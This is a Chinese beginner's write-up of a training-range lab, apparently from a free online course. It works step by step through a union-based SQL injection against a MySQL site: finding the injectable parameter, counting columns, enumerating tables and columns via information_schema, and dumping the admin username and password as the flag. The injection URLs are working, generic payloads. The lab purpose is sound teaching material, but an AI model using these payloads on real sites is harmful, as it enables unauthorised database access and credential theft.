渗透第一课学习解题过程

重要说明:本文作为学习笔记,仅用于学习交流,请勿用于其它用途,侵删。

目标靶场:http://117.41.229.122:8003/?id=1,此靶场是腾讯课堂免费课程中的演习靶场,此笔记较为基础,请大牛勿喷

先找注点,经过测试

加单引号  '  不正常

加 and 1=1 正常、加 and 1=2不正常

由此可证明  ?id=1 后面的全被执行了,此处存在注入

利用order by子句进行快速猜解表中的列数,再配合union select语句进行回显。可以通过修改order参数值,再依据回显情况来判断具体表中包含的列数。

 http://117.41.229.122:8003/?id=1%20and%201=1%20order%20by%202 这串URL仔细看就能看明白,首先大家要知道 空格在经过编码后变成了%20,那么这串URL经过解码后是

http://117.41.229.122:8003/?id=1 and 1=1 order by 2

order by 2 返回正常页面,就意味着此页面的列数为2

在不知道列名的情况下可以通过列的的序号来指代相应的列。

我们用union select来回显看下

http://117.41.229.122:8003/?id=1 and 1=2 union select 1,2

这里请注意了,我为什么用 and 1=2呢?

那是因为,如果我用and 1=1,那么结果为真,页面就是正常显示,我后面select里面的参数就无法回显,所以要让页面不正常,那么我就可以找到回显的列的位置。

由上图可看到,第二个参数2显示在了网页中,那就证明正常的新闻是取的表中第二列的数据,这个数据不是我们关心的,我们是要拿到数据库中更隐私的信息,但是我们可以利用这个数据回显的位置来显示我们想要的数据。

首先我们就爆数据库版本号,假设我通过测试得知这是mysql数据库,至于怎么测试目标站是什么数据库,这个这里就不记录了,网上都有。

使用version()爆数据库版本号

http://117.41.229.122:8003/?id=1 and 1=2 union select 1,version()

版本号:5.5.53
使用database()爆数据库名称

http://117.41.229.122:8003/?id=1 and 1=2 union select 1,database()

数据库名称:maoshe

如下图两个结果

 我知道5.5.53的mysql有数据库叫做information_schema,里面有两个表非常有意思,它存储了所有数据库的名称、表。我们就通过这个来查询获得我们要的信息。

mysql自带的数据库information_schema,以及两张可以帮到我们的表tables,columns

tables表中的table_schema列,是存储数据库名称的

tables表中的table_name列,是存储表名的

columns表中的table_schema列,是存储数据库名称的

columns表中的table_name列,是存储表名的

columns表中的column_name列,是存储列名的。

通过以上的信息我们就可以构造一个sql语句获取到目标数据库的所有表名。

group_concat()函数可以将多个字符串连接成一个字符串,默认分隔符为逗号  ,

 http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

maoshe数据库中的所有表为

admin,dirs,news,xss

其中,damin表属于敏感表,一般存储用户账号密码。

有数据库名,有表名了我们就继续爆某个表的列名。继续构造SQL

 http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'

admin表中的列为

Id,username,password

 到这里的时候,我们再想爆出我们要的Flag,就只剩一墙之隔了。

再构造一条SQL用来爆出表的值

 http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(id,',',username,',',password) from admin

由此可得

ID:1   

username:admin

password:hellohack

通关秘钥为:hellohack

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值